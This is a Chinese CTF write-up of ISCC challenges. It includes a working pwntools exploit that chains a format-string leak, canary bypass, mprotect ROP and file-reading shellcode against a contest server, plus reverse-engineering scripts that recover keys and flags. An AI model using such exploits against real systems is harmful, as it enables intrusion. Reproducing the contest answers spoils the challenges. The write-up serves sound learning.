PWN
Dilemma
64位程序没有开启PIE,并且过滤了execve,不能使用system这些的了,所以要考虑ORW来做
进入main函数分析,这里有两个函数一个func_1一个func_2。
这两个函数都有漏洞,以下是详细分析:
对于func_1函数
这个函数只允许运行一次,运行后就把HP,MP置空了,然后第一个read函数这里读入数据后就执行printf函数
这里的printf不安全存在格式字符串漏洞,可以利用这里的printf泄露栈上的地址和libc这些的。
然后后面的这个read函数存在栈溢出漏洞。
之后来看func_2函数
buf栈的大小只有0x30但可以读入0x100的大小,这里又有栈溢出漏洞,下面printf还有个格式化字符串漏洞。所以这个题的利用方法挺多的。
首先是要确定题目用的什么libc,要不然比较难搞。
这里通过格式化字符串漏洞泄露出puts的libc地址,然后利用LibcSearcher搜索到libc的版本libc6_2.35-0ubuntu3.8_amd64,然后再LibcSearcher下有个专门放libc的文件,去里面把这个libc6_2.35-0ubuntu3.8_amd64复制出来就欧克了。
然后利用mprotect函数结合栈溢出给栈开辟可读可执行的区域,执行我们的shellcode。如图:
然后就可以ORW了
EXP:
from pwn import *
from LibcSearcher import *
context(log_level='debug', arch='amd64', os='linux')
pwnfile = "./attachment-42"
io = remote("101.200.155.151", 12500)
elf = ELF(pwnfile)
libc = ELF("./libc6_2.35-0ubuntu3.8_amd64.so")
def send(data):
io.send(data)
def sendafter(delim, data):
io.sendafter(delim, data)
def sendline(data):
io.sendline(data)
def sendlineafter(delim, data):
io.sendlineafter(delim, data)
def recv(num=4096):
return io.recv(num)
def recvuntil(delims):
return io.recvuntil(delims)
def interactive():
io.interactive()
def unpack32(data):
return u32(data.ljust(4, b'\x00'))
def unpack64(data):
return u64(data.ljust(8, b'\x00'))
def leak_info(name, addr):
log.success('{} = {:#x}'.format(name, addr))
def log_address(address, data):
log.success('%s: ' % (address) + hex(data))
def choice(idx):
sendlineafter(b"where are you go?", str(idx))
puts_got = elf.got['puts']
pop_rdi = 0x000000000040119a
pop_rsi_r15 = 0x000000000040119c
shellcode = shellcraft.openat(-100, "/flag.txt", 0)
shellcode += shellcraft.sendfile(1, 3, 0, 0x50)
def exploit():
choice(1)
recvuntil(b"Enter you password:")
payload = b"%8$s.a%11$p%12$p" + p64(puts_got)
sendline(payload)
puts_addr = unpack64(io.recvuntil(b"\x7f")[-6:])
recvuntil(b"0x")
canary = int(recv(16), 16)
recvuntil(b"0x")
stack_addr = int(recv(12), 16) - 56
mmap_addr = stack_addr - (stack_addr & 0xfff)
target_addr = stack_addr - 24
libc_base = puts_addr - libc.sym["puts"]
pop_rdx_r12 = 0x000000000011f2e7 + libc_base
mprotect_addr = libc_base + libc.sym["mprotect"]
print("libc_base--------------->: ", hex(libc_base))
recvuntil(b"I will check your password:")
payload = b"a" * 0x4
sendline(payload)
choice(2)
recvuntil(b"We have a lot to talk about")
payload = b"1" * 0x28 + p64(canary) + p64(0)
payload += p64(pop_rdi) + p64(mmap_addr)
payload += p64(pop_rsi_r15) + p64(0x1000) + p64(0) + p64(pop_rdx_r12)
payload += p64(7) + p64(0) + p64(mprotect_addr)
payload += p64(target_addr + len(payload) + 8)
payload += asm(shellcode)
sendline(payload)
interactive()
exploit()
MOBILE:
GGAD
先用jadx分析,在主函数中找到,这是核心的验证逻辑,分为几个部分:
验证key的部分:
- 获取key输入框的内容并去除首尾空格如果key为空,显示提示并返回,将key设置到KeyManager中,调用native方法
validateKey
验证key,如果验证失败显示错误提示并返回.
验证flag的部分:
- 获取flag输入框的内容并去除首尾空格如果flag为空,显示提示并返回,检查flag格式是否正确(必须以"ISCC{“开头,以”}"结尾),否则显示格式错误
最后,提取flag内容部分(去掉"ISCC{“和”}"),调用一个名为a
的类的a
方法进行验证,传入key和flag内容,根据验证结果显示成功或失败消息
然后我们来看a的类:
-
使用native方法
JNI1
处理flag内容和key,使用native方法JNI1
处理flag内容和key,对二进制字符串再次使用native方法处理即JN2-
将JNI2的结果传给
b.a()
进行最终验证 -
数据处理流程:
flagContent + key → JNI1 → 十六进制到二进制转换 → JNI2 → 最终验证
-
对于JN1: 这个函数实现了RC4加密算法,用于处理MainActivity中传入的flag和key
对于JN2中,是对二进制数据进行反转和转换操作 ,代码如下:
for (i = 0LL; v10 != i; ++i) {
v13 = (unsigned __int8)v7[i];
if (v13 == 49) { // '1'的ASCII码
v12 = 48; // 转换为'0'
} else {
if (v13 != 48) // '0'的ASCII码
continue;
v12 = 49; // 转换为'1'
}
std::string::push_back(&v21, v12);
}
里面还有个binaryToHex(&v18, &v21);函数,该函数是二进制转十六进制。
再来看b类:

先预设的二进制字符串常量PRESET_VALUE
,用于验证奇数位。
**extractOddPositions()**方法:
- 提取字符串中奇数位(索引从0开始,实际是第1、3、5…位)的字符,例如:“ABCDEF” → “ACE”。
**extractEvenPositions()**方法:
- 提取字符串中偶数位(索引从0开始,实际是第2、4、6…位)的字符,例如:“ABCDEF” → “BDF”
**validateOddPositions()**验证:
- 对奇数位字符串进行复杂转换后与预设值比较,转换流程:
- 将每个字符转换为16进制表示(2位)
- 将16进制字符串解析为整数
- 将整数转换为二进制字符串
- 格式化为8位二进制(前面补0)
- 将所有结果拼接
- 最终与
PRESET_VALUE
比较
**validateEvenPositions()**验证:
- 直接比较偶数位字符串与
c.a()
的返回值
再来看c类:
有个标准RC4算法实现,可用于加密
还有个经典Vigenère密码解密实现,只处理字母字符,其他字符原样保留,解密公式:(cipherChar - keyChar + 26) % 26
关键方法a()
public static String a() {
return decrypt("2582J18CRG13", KeyManager.getKey());
}
- 这是
b
类中验证偶数位时调用的方法,使用Vigenère解密字符串"2582J18CRG13",密钥来自KeyManager.getKey()
(即用户输入的key)
分析完上面的内容后,逆向思路就有了,最后还差一个关键的东西那就是key,由开始的时候分析可知key在png里面。
我们发现res文件夹下有个pa.zip,解压下来。
发现一共有1000张png图片:
这里可能是lsb隐写,但写lsb脚本太麻烦了,根据前面的分析又可以知道,我们输入的key要经过validateKey 验证,在本地用ida分析libggad.so 搜索validateKey发现密钥的hash值:
把这个密钥拿到cmd5去解密:这是一条付费记录,购买后显示如下:
所以密钥是:ExpectoPatronum
通过上述所有分析,写逆向脚本:
EXP:
import itertools
def vigenere_decrypt(text, key):
decrypted = []
key_cycle = itertools.cycle(key.upper())
for char in text:
if char.isalpha():
key_char = next(key_cycle)
shift = ord(key_char) - ord('A')
base = ord('A') if char.isupper() else ord('a')
decrypted_char = chr((ord(char) - base - shift) % 26 + base)
decrypted.append(decrypted_char)
else:
decrypted.append(char)
return ''.join(decrypted)
def binary_to_str(binary):
return ''.join(
chr(int(binary[i:i + 8].ljust(8, '0'), 2))
for i in range(0, len(binary), 8)
)
def interleave_strings(s1, s2):
return ''.join(
a + b for a, b in zip(s1, s2)
)[:min(len(s1), len(s2)) * 2]
def hex_to_bytes(hex_str):
return bytes(
int(hex_str[i:i + 2], 16)
for i in range(0, len(hex_str), 2)
)
def invert_bits(binary):
return ''.join('1' if b == '0' else '0' for b in binary)
class RC4:
def __init__(self, key):
self.S = self._ksa(key.encode())
def _ksa(self, key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
return S
def _prga(self, data):
S = self.S.copy()
i = j = 0
result = bytearray()
for byte in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
t = (S[i] + S[j]) % 256
result.append(byte ^ S[t])
return bytes(result)
def decrypt(self, ciphertext):
return self._prga(ciphertext)
def main():
binary_cipher = '010000110011010101000110001100110011001100110100010001000011001100110100001100010100001000110011'
vigenere_cipher = '2582J18CRG13'
key = 'ExpectoPatronum'
decrypted_vigenere = vigenere_decrypt(vigenere_cipher, key)
binary_str = binary_to_str(binary_cipher)
interleaved = interleave_strings(binary_str, decrypted_vigenere)
if len(interleaved) % 2 != 0:
interleaved = interleaved[:-1]
byte_data = hex_to_bytes(interleaved)
binary_repr = ''.join(f"{byte:08b}" for byte in byte_data)
inverted_bits = invert_bits(binary_repr)
final_cipher = bytes(
int(inverted_bits[i:i + 8].ljust(8, '0'), 2)
for i in range(0, len(inverted_bits), 8)
)
rc4 = RC4(key)
decrypted = rc4.decrypt(final_cipher)
try:
flag = decrypted.decode('utf-8')
except UnicodeDecodeError:
try:
flag = decrypted.decode('latin-1')
except:
flag = ''.join(f'\\x{byte:02x}' for byte in decrypted)
print(f"ISCC{{{flag}}}")
if __name__ == "__main__":
main()
叽米是梦的开场白
进入主函数:
加载本地库 libmobile04.so
-
decryptSegment()
:解密DEX文件分段。getEncryptedSegment()
:获取加密的DEX分段。 -
广播过滤器
com.example.mobile04.GET_DEX
和com.example.mobile04.DEX_SEGMENT
用于安全通信。
验证码检查逻辑
用户输入验证码。通过 native的方法BdCheck()
生成基础字符串。验证输入是否匹配处理后的字符串(B()
结果)。若匹配,保存 C()
生成的token到SharedPreferences
这里来看B和C函数:
-
B(String str)
:反转字符串并移除数字(如输入a1b2c3
→cba
)。C(String str)
:提取字符串中的数字(如输入a1b2c3
→123
)。
这里是DataReceiver(接收并组装DEX),分段索引通过 index
标识,确保顺序正确。最终写入 files/decrypted.dex
,供后续验证使用。这里就是动态加载dex文件,dex文件从lib文件mobile04可以得到
在lib文件夹下找到mobile04.so,拖入IDA中分析。
这里分析getEncryptedSegment函数,这里看到了一个数组
可以看到这里是一个正常的dex文件头,应该没有加密,把他们都复制下面,写入文件。
s=[
100, 101, 120, 10, 48, 51, 53, 0, 58, 31,
254, 115, 96, 254, 46, 172, 76, 7, 53, 152,
229, 176, 230, 44, 234, 166, 170, 229, 141, 164,
196, 76, 248, 6, 0, 0, 112, 0, 0, 0,
120, 86, 52, 18, 0, 0, 0, 0, 0, 0,
0, 0, 88, 6, 0, 0, 39, 0, 0, 0,
112, 0, 0, 0, 15, 0, 0, 0, 12, 1,
0, 0, 10, 0, 0, 0, 72, 1, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 15, 0,
0, 0, 192, 1, 0, 0, 1, 0, 0, 0,
56, 2, 0, 0, 160, 4, 0, 0, 88, 2,
0, 0, 166, 3, 0, 0, 176, 3, 0, 0,
184, 3, 0, 0, 192, 3, 0, 0, 217, 3,
0, 0, 220, 3, 0, 0, 245, 3, 0, 0,
248, 3, 0, 0, 252, 3, 0, 0, 29, 4,
0, 0, 52, 4, 0, 0, 72, 4, 0, 0,
102, 4, 0, 0, 122, 4, 0, 0, 142, 4,
0, 0, 165, 4, 0, 0, 186, 4, 0, 0,
206, 4, 0, 0, 229, 4, 0, 0, 8, 5,
0, 0, 16, 5, 0, 0, 31, 5, 0, 0,
34, 5, 0, 0, 39, 5, 0, 0, 43, 5,
0, 0, 48, 5, 0, 0, 51, 5, 0, 0,
55, 5, 0, 0, 60, 5, 0, 0, 64, 5,
0, 0, 75, 5, 0, 0, 84, 5, 0, 0,
93, 5, 0, 0, 101, 5, 0, 0, 111, 5,
0, 0, 124, 5, 0, 0, 132, 5, 0, 0,
138, 5, 0, 0, 151, 5, 0, 0, 4, 0,
0, 0, 8, 0, 0, 0, 9, 0, 0, 0,
10, 0, 0, 0, 11, 0, 0, 0, 12, 0,
0, 0, 13, 0, 0, 0, 14, 0, 0, 0,
15, 0, 0, 0, 16, 0, 0, 0, 17, 0,
0, 0, 18, 0, 0, 0, 21, 0, 0, 0,
25, 0, 0, 0, 28, 0, 0, 0, 7, 0,
0, 0, 10, 0, 0, 0, 120, 3, 0, 0,
21, 0, 0, 0, 12, 0, 0, 0, 0, 0,
0, 0, 22, 0, 0, 0, 12, 0, 0, 0,
128, 3, 0, 0, 23, 0, 0, 0, 12, 0,
0, 0, 120, 3, 0, 0, 23, 0, 0, 0,
12, 0, 0, 0, 136, 3, 0, 0, 24, 0,
0, 0, 12, 0, 0, 0, 144, 3, 0, 0,
26, 0, 0, 0, 13, 0, 0, 0, 120, 3,
0, 0, 27, 0, 0, 0, 13, 0, 0, 0,
152, 3, 0, 0, 6, 0, 0, 0, 14, 0,
0, 0, 0, 0, 0, 0, 7, 0, 0, 0,
14, 0, 0, 0, 160, 3, 0, 0, 1, 0,
1, 0, 0, 0, 0, 0, 1, 0, 1, 0,
1, 0, 0, 0, 1, 0, 6, 0, 29, 0,
0, 0, 1, 0, 9, 0, 31, 0, 0, 0,
1, 0, 8, 0, 35, 0, 0, 0, 3, 0,
1, 0, 1, 0, 0, 0, 4, 0, 3, 0,
1, 0, 0, 0, 4, 0, 4, 0, 1, 0,
0, 0, 5, 0, 8, 0, 33, 0, 0, 0,
6, 0, 3, 0, 37, 0, 0, 0, 9, 0,
7, 0, 32, 0, 0, 0, 10, 0, 9, 0,
30, 0, 0, 0, 10, 0, 0, 0, 34, 0,
0, 0, 10, 0, 2, 0, 36, 0, 0, 0,
11, 0, 5, 0, 1, 0, 0, 0, 1, 0,
0, 0, 1, 0, 0, 0, 3, 0, 0, 0,
0, 0, 0, 0, 20, 0, 0, 0, 0, 0,
0, 0, 53, 6, 0, 0, 0, 0, 0, 0,
2, 0, 1, 0, 2, 0, 0, 0, 88, 3,
0, 0, 32, 0, 0, 0, 110, 16, 8, 0,
1, 0, 12, 1, 113, 16, 3, 0, 1, 0,
12, 1, 19, 0, 16, 0, 35, 0, 14, 0,
38, 0, 8, 0, 0, 0, 113, 32, 10, 0,
1, 0, 10, 1, 15, 1, 0, 3, 1, 0,
16, 0, 0, 0, 49, 65, 54, 56, 56, 50,
68, 68, 49, 49, 70, 51, 53, 53, 69, 52,
4, 0, 1, 0, 3, 0, 1, 0, 95, 3,
0, 0, 48, 0, 0, 0, 113, 0, 4, 0,
0, 0, 12, 0, 56, 0, 29, 0, 33, 1,
19, 2, 24, 0, 51, 33, 24, 0, 34, 1,
11, 0, 26, 2, 2, 0, 112, 48, 14, 0,
1, 2, 26, 0, 3, 0, 113, 16, 12, 0,
0, 0, 12, 0, 18, 18, 110, 48, 13, 0,
32, 1, 110, 32, 11, 0, 48, 0, 12, 3,
17, 3, 34, 3, 4, 0, 26, 0, 5, 0,
112, 32, 6, 0, 3, 0, 39, 3, 13, 3,
34, 0, 4, 0, 112, 32, 7, 0, 48, 0,
39, 0, 0, 0, 0, 0, 41, 0, 1, 0,
1, 1, 2, 41, 1, 0, 0, 0, 1, 0,
0, 0, 110, 3, 0, 0, 6, 0, 0, 0,
26, 0, 19, 0, 113, 16, 9, 0, 0, 0,
14, 0, 1, 0, 1, 0, 1, 0, 0, 0,
115, 3, 0, 0, 4, 0, 0, 0, 112, 16,
5, 0, 0, 0, 14, 0, 32, 1, 0, 14,
135, 120, 0, 16, 1, 0, 14, 75, 123, 120,
105, 76, 2, 121, 89, 142, 30, 0, 10, 0,
14, 90, 0, 6, 0, 14, 0, 0, 1, 0,
0, 0, 5, 0, 0, 0, 2, 0, 0, 0,
0, 0, 8, 0, 1, 0, 0, 0, 7, 0,
0, 0, 2, 0, 0, 0, 14, 0, 5, 0,
2, 0, 0, 0, 14, 0, 14, 0, 1, 0,
0, 0, 14, 0, 8, 60, 99, 108, 105, 110,
105, 116, 62, 0, 6, 60, 105, 110, 105, 116,
62, 0, 6, 68, 69, 83, 101, 100, 101, 0,
23, 68, 69, 83, 101, 100, 101, 47, 69, 67,
66, 47, 80, 75, 67, 83, 53, 80, 97, 100,
100, 105, 110, 103, 0, 1, 73, 0, 23, 73,
110, 118, 97, 108, 105, 100, 32, 107, 101, 121,
32, 102, 114, 111, 109, 32, 110, 97, 116, 105,
118, 101, 0, 1, 76, 0, 2, 76, 76, 0,
31, 76, 99, 111, 109, 47, 101, 120, 97, 109,
112, 108, 101, 47, 109, 111, 98, 105, 108, 101,
48, 52, 47, 83, 117, 110, 100, 97, 121, 49,
49, 59, 0, 21, 76, 106, 97, 118, 97, 47,
108, 97, 110, 103, 47, 69, 120, 99, 101, 112,
116, 105, 111, 110, 59, 0, 18, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 79, 98,
106, 101, 99, 116, 59, 0, 28, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 82, 117,
110, 116, 105, 109, 101, 69, 120, 99, 101, 112,
116, 105, 111, 110, 59, 0, 18, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 83, 116,
114, 105, 110, 103, 59, 0, 18, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 83, 121,
115, 116, 101, 109, 59, 0, 21, 76, 106, 97,
118, 97, 47, 108, 97, 110, 103, 47, 84, 104,
114, 111, 119, 97, 98, 108, 101, 59, 0, 19,
76, 106, 97, 118, 97, 47, 115, 101, 99, 117,
114, 105, 116, 121, 47, 75, 101, 121, 59, 0,
18, 76, 106, 97, 118, 97, 47, 117, 116, 105,
108, 47, 65, 114, 114, 97, 121, 115, 59, 0,
21, 76, 106, 97, 118, 97, 120, 47, 99, 114,
121, 112, 116, 111, 47, 67, 105, 112, 104, 101,
114, 59, 0, 33, 76, 106, 97, 118, 97, 120,
47, 99, 114, 121, 112, 116, 111, 47, 115, 112,
101, 99, 47, 83, 101, 99, 114, 101, 116, 75,
101, 121, 83, 112, 101, 99, 59, 0, 6, 83,
117, 110, 100, 97, 121, 0, 13, 83, 117, 110,
100, 97, 121, 49, 49, 46, 106, 97, 118, 97,
0, 1, 86, 0, 3, 86, 73, 76, 0, 2,
86, 76, 0, 3, 86, 76, 76, 0, 1, 90,
0, 2, 90, 76, 0, 3, 90, 76, 76, 0,
2, 91, 66, 0, 9, 99, 104, 101, 99, 107,
70, 108, 97, 103, 0, 7, 100, 111, 70, 105,
110, 97, 108, 0, 7, 101, 110, 99, 114, 121,
112, 116, 0, 6, 101, 113, 117, 97, 108, 115,
0, 8, 103, 101, 116, 66, 121, 116, 101, 115,
0, 11, 103, 101, 116, 73, 110, 115, 116, 97,
110, 99, 101, 0, 6, 103, 101, 116, 75, 101,
121, 0, 4, 105, 110, 105, 116, 0, 11, 108,
111, 97, 100, 76, 105, 98, 114, 97, 114, 121,
0, 155, 1, 126, 126, 68, 56, 123, 34, 98,
97, 99, 107, 101, 110, 100, 34, 58, 34, 100,
101, 120, 34, 44, 34, 99, 111, 109, 112, 105,
108, 97, 116, 105, 111, 110, 45, 109, 111, 100,
101, 34, 58, 34, 100, 101, 98, 117, 103, 34,
44, 34, 104, 97, 115, 45, 99, 104, 101, 99,
107, 115, 117, 109, 115, 34, 58, 102, 97, 108,
115, 101, 44, 34, 109, 105, 110, 45, 97, 112,
105, 34, 58, 49, 44, 34, 115, 104, 97, 45,
49, 34, 58, 34, 97, 98, 97, 97, 98, 52,
54, 57, 98, 53, 101, 98, 100, 52, 100, 100,
50, 98, 98, 57, 49, 98, 97, 48, 101, 100,
54, 102, 52, 53, 50, 55, 55, 102, 97, 97,
101, 52, 99, 97, 34, 44, 34, 118, 101, 114,
115, 105, 111, 110, 34, 58, 34, 56, 46, 54,
46, 50, 45, 100, 101, 118, 34, 125, 0, 0,
0, 5, 0, 0, 136, 128, 4, 164, 6, 1,
129, 128, 4, 192, 6, 1, 9, 216, 4, 1,
9, 168, 5, 1, 137, 2, 0, 0, 0, 0,
0, 0, 0, 0, 13, 0, 0, 0, 0, 0,
0, 0, 1, 0, 0, 0, 0, 0, 0, 0,
1, 0, 0, 0, 39, 0, 0, 0, 112, 0,
0, 0, 2, 0, 0, 0, 15, 0, 0, 0,
12, 1, 0, 0, 3, 0, 0, 0, 10, 0,
0, 0, 72, 1, 0, 0, 5, 0, 0, 0,
15, 0, 0, 0, 192, 1, 0, 0, 6, 0,
0, 0, 1, 0, 0, 0, 56, 2, 0, 0,
1, 32, 0, 0, 4, 0, 0, 0, 88, 2,
0, 0, 3, 32, 0, 0, 4, 0, 0, 0,
88, 3, 0, 0, 1, 16, 0, 0, 6, 0,
0, 0, 120, 3, 0, 0, 2, 32, 0, 0,
39, 0, 0, 0, 166, 3, 0, 0, 0, 32,
0, 0, 1, 0, 0, 0, 53, 6, 0, 0,
3, 16, 0, 0, 1, 0, 0, 0, 84, 6,
0, 0, 0, 16, 0, 0, 1, 0, 0, 0,
88, 6, 0
]
with open("decrypted.dex", "wb") as f:
f.write(bytes(s))
然后把生成的decrypted.dex放进jeb中分析:
DESede/ECB 加密,密钥在sunday.so中,加密后的内容是:49, 65, 54, 56, 56, 50, 68, 68, 49, 49, 70, 51, 53, 53, 69, 52
密钥是:ysg6OquYJKfPyhQj0h1eTemM
然后去赛博厨子解密:
然后继续回到mainactivity中:
首先检查输入字符串str的基本格式:
- 长度必须≥13个字符,必须以"ISCC{“开头,必须以”}"结尾,如果不符合这些条件,立即通过回调返回false
然后检查是否存在"decrypted.dex"文件:
这里的Checkflag就是前面那个dex的函数解密出来的值。然和着重来看看checkflag2
丢给AI分析:
这里用密钥 “mihoyoZZZStarRai” 创建 AES 密钥,获取 AES/ECB/PKCS5Padding 加密实例
加密比较:对输入字符串 str
进行加密,对硬编码字符串 “si(%f0yo” 进行加密,比较两个加密结果是否相同
但这里是假的flag因为FFlag就是fake flag
接下来分析第二部分,这部分调用了a的a方法,这里的loadEncryptedLib是从assets读取的
我们进入a类:
这里才是checkflag2的地方,这个代码的主要实现在Monday中,分析Monday.so文件
我们在这里可以发现v9就是参数,可以看到传入的enreal数组,在后面的循环里对enreal里面的二进制数据进行解密操作。
我们写一个解密脚本:
def transform_byte(b):
b = (b << 2 | b >> 6) & 0xFF
b ^= 0xAA
return (b >> 3 | b << 5) & 0xFF
with open("enreal", "rb") as src, open("decode_enreal", "wb") as dst:
dst.write(bytes(transform_byte(b) for b in src.read()))
然后把生成的decode_enreal文件丢进ida中分析:
在ida中搜索check函数,发现一个real_check函数打开分析:这里看到des_ede3_ecb,这里是一个进行三次的des加密。P6teIPg0XAc0tyusl7BEdyPF这个字符串就是我们要要的密钥,0xABEA84A86853DF2F 就是密文,这里还有进行大小端转换。
然后也是赛博解密:
把上面的第一部分flag和这部分flag合并起来就是完整的flag
flag:ISCC{oJ9j2xiwgjkkhf}
RE:
CrackMe
把文件拖入IDA中,进入WinMain函数:
标准的Windows GUI应用程序入口函数 WinMain
的实现,用于创建一个简单的窗口应用程序。
这里进入sub_1400013E0函数:
hWnd = GetDlgItem(hWndParent, 1); // 获取ID=1的控件句柄(编辑框)
GetWindowTextW(hWnd, &v12[5], 256); // 读取用户输入的文本到v12[5]
-
sub_1400048AC
:sub_1400048AC
是一个 高度优化的宽字符字符串长度计算函数(类似wcslen
),主要用于快速计算以 null 结尾的 Unicode 字符串(wchar_t*
)的长度。 -
strcpy
:将"SecretKey"
复制到v12
(secretkey用作密钥)。 -
sub_1400012A0
:进一步处理输入文本(使用密钥加密)这个程序有很多地方都有花指令,去掉花指令后分析。
对于sub_140001000函数有个异或65的加密
这里对于sub_7FF6DCCB1080函数
这个函数是一个 字符串处理函数,它遍历一个宽字符(
WORD
,即wchar_t
)数组,并对每个字母字符进行位移操作。这里着重看看sub_1400012A0函数
这段代码实现了一个类似RC4的流加密算法。以下是关键点分析:(丢给AI)
-
v8 = HIDWORD(a1)
获取输入数据长度sub_140001160(v9)
可能初始化256字节的S盒(代码中显示为4字节数组,实际可能被优化) -
使用
v6
和v5
作为状态索引,通过模256运算保持范围sub_140001260
函数实现S盒的交换操作(类似RC4的swap),最终通过异或运算^=
实现流加密
对于sub_140001160(v9) 函数:
这个函数是 RC4 密钥调度算法,用于初始化 RC4 的 S 盒)。结合之前分析的 sub_1400012A0
),可以确认这是一个完整的 RC4 加密/解密 实现.
这是sub_140001260的交换操作
char *__fastcall sub_140001260(char *a1, char *a2)
{
char *result; // rax
char v3; // [rsp+7h] [rbp-11h]
v3 = *a1;
*a1 = *a2;
result = a2;
*a2 = v3;
return result;
}
然后回到sub_1400013E0函数,分析这个函数:sub_1400029D0(String2, &unk_140010010, 44i64);
对于sub_1400029D0是 实现了一个高效的内存拷贝函数,其功能是将源地址unk_140010010
处的44字节数据复制到目标地址String2
中。
点击unk_140010010查看数据,把数据提取出来:
通过上面所有分析逆向写代码:
EXP:
def rc4_decrypt(ciphertext, key):
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
plaintext = []
for byte in ciphertext:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
k = S[(S[i] + S[j]) % 256]
plaintext.append(byte ^ k)
return bytes(plaintext)
def caesar_decrypt(text):
result = []
for c in text:
if ord('a') <= c <= ord('z'):
result.append((c - ord('a') - 3) % 26 + ord('a'))
elif ord('A') <= c <= ord('Z'):
result.append((c - ord('A') - 3) % 26 + ord('A'))
else:
result.append(c)
return bytes(result)
def selective_xor(text):
result = []
for i in range(0, len(text), 2):
result.append(text[i] ^ 65)
return bytes(result)
s = [
0x1C, 0xB8, 0x2E, 0x47, 0xDD, 0x72, 0x1C, 0xA2, 0xDE, 0x13,
0x4C, 0x46, 0x82, 0xF0, 0x33, 0x81, 0xAA, 0xE6, 0xF3, 0xEE,
0x05, 0x9A, 0x32, 0x28, 0x7D, 0x6B, 0xBF, 0xE8, 0x94, 0x24,
0x97, 0x3F, 0xF8, 0x15, 0x53, 0x17, 0xEF, 0x91, 0x8B, 0xFE,
0x35, 0x74
]
key = "SecretKey".encode()
decrypted = rc4_decrypt(s, key)
print("RC4 Decrypted (hex):", decrypted.hex())
caesar_output = caesar_decrypt(decrypted)
print("Caesar Decrypted (hex):", caesar_output.hex())
final_output = selective_xor(caesar_output)
print("Final Output (hex):", final_output.hex())
try:
print("Final ASCII:", final_output.decode('ascii'))
except UnicodeDecodeError:
print("Final output is not ASCII (may be binary data)")
uglyCpp
放进ida分析。
调用了一个复杂命名的函数ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6,对 v12
(输入)进行处理。
进入ZNK17g3uSFZt86rfKFJog2MUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6函数分析:
这里代码量很大有很难理解,没关系,我们交给Ai分析一下:
AI分析:
从代码逻辑来看,是在处理一个字符串(std::string
),并构建一个树状结构(可能是二叉树),其中每个节点是一个strc
类型的对象,通过std::shared_ptr
管理。
strc
结构推测:
-
左子节点指针偏移:
+8
(可能是strc* left
)。右子节点指针偏移:+24
(可能是strc* right
)。 -
因此,
strc
可能类似:struct strc { char data; // +0 strc* left; // +8 strc* right; // +24 };
输入:一个字符串(std::string
)。
输出:一个std::shared_ptr<strc>
,指向由字符串构建的二叉树根节点。树的构建方式:根节点:字符串的第一个字符。后续字符按层次遍历顺序分配给左右子节点。
然后再分析**ZNK17KDXgsB2q4YQad5xBZMUlRKNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEEE_clES6_**函数
这是将一个 std::string
转换为 std::vector<unsigned int>
,其中每4个连续的字符被组合成一个32位无符号整数(小端序存储)
然后进入ZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_函数:
这个函数进行加密以及校验,可以看到这了有三个函数。进入ZZNK25mJ6Xq4ExTMs4qaNhgFkHaofHSMUlRKSt6vectorIjSaIjEEE_clES3_ENKUlvE_clEv 函数:
从索引1开始遍历vector,每个元素的值等于前一个元素的值减去1640531527
(十六进制0x61C88647
),循环直到处理完所有元素。
这就是生成一个固定的数组,对于下一个函数
这个函数实际上实现了一个vector的拷贝并反转的操作,使用了STL的std::reverse
算法来反转元素函数返回新构造的vector(通过a1
返回)
对于第三个函数:
这个函数就是对之前的生成的数组和key进行复杂的运算,最后的结果会得到一个新的数组。
这三个函数的初始值都是固定的,运行过程也没有什么动态的参数传近来,所以生成的结果也是一个定值。
然后我们在进入ZNK28gxoPJ4FNZcYkWUGp7wE96Z9Pzuw8MUlRKSt6vectorIjSaIjEES3_mE_clES3_S3_m函数进行分析
这个函数是一个复杂的向量处理函数,主要功能是对两个输入向量进行某种组合处理并输出结果。
将输入向量按4个元素一组进行处理,每组元素与通过ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_
函数生成的值进行异或操作,这一串的操作也是固定值生成固定值。然后来分析一下ZNK28gxoPJ4FNZcYkWUGp7wE9y2iw8unMMUlRKSt6vectorIjSaIjEES3_E_clES3_S3_函数:
ZNK22S7rbqdRXd18oVRCMfwW2ZgMUljjE_clEjj
是核心非线性函数,从使用模式看,可能实现:旋转、模乘或位混合操作
使用44个密钥字(索引0-43),前2个用于初始化,中间40个用于20轮变换(每轮2个),最后2个用于最终处理,Feistel结构特征:每轮处理两个32位字(v12/v14),使用另两个字(v13/v15)作为"轮密钥",通过swap操作实现数据扩散。
然后回到主函数分析ZNK12S4V3u5wVUXnyMUlRSt6vectorIjSaIjEEE_clES2_函数:
使用v13数组初始化临时vector(v12),首先检查输入vector大小是否为9不等则跳转到错误处理,使用迭代器遍历两个vector,比较每个对应位置的元素,任何不匹配立即终止并报错。加密流程就是层序转后序,然后进行异或,我们可以在进行异或前把输入的值全改为0,异或后就能得到我们要的xor数组。
addr = 0x13E1C90
for i in range(0x24):
patch_byte(addr+i,0)
输入的值全改为0后等异或结束后,再输出异或后的值:
addr = 0x13E1C90
data = [0 for i in range(9)]
for i in range(9):
data[i] = get_wide_dword(addr+i*4)
print(data)
如上图是异或一组后的数据,当所有数据都异或完后,就全部提取出。就能拿到xor的key
综上分析exp:
data = [0x7D9C7D63, 0x946CCE23, 0x97B43065, 0x90B66BC2,
0x5422B982, 0x2D3275B6, 0x73C3C042, 0xA28C8CB5,
0xEC78C0B]
keys = [0x3ED6325B, 0xD709BF17, 0xE3F27E18, 0xA0870791,
0x0146D6F9, 0x7C6140FF, 0x10B69406, 0x94DDE0F6,
0x40B2BB6C]
scramble = "5p6h7q8d9risbtjuevkwaxlyfzm0c1n2g3o4"
